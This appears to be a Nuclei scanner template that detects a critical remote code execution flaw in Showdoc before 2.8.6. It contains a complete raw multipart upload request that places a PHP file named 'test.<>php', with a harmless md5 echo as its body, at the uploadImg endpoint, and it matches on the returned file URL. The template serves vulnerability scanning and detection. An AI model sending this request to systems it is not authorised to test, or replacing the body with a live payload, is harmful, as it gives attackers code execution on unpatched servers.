id: showdoc-file-upload-rce

info:
  name: Showdoc <2.8.6 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Showdoc versions before 2.8.6 is susceptible to remote code execution.
  reference:
    - https://github.com/star7th/showdoc/pull/1059
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  tags: rce,fileupload,showdoc,oss,intrusive

requests:
  - raw:
      - |
        POST /index.php?s=/home/page/uploadImg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633

        ----------------------------835846770881083140190633
        Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
        Content-Type: text/plain

        <?php echo md5('rce_test');?>
        ----------------------------835846770881083140190633--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"url":"http:'
          - '"success":1'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        json:
          - '.url'

# Enhanced by mp on 2022/05/30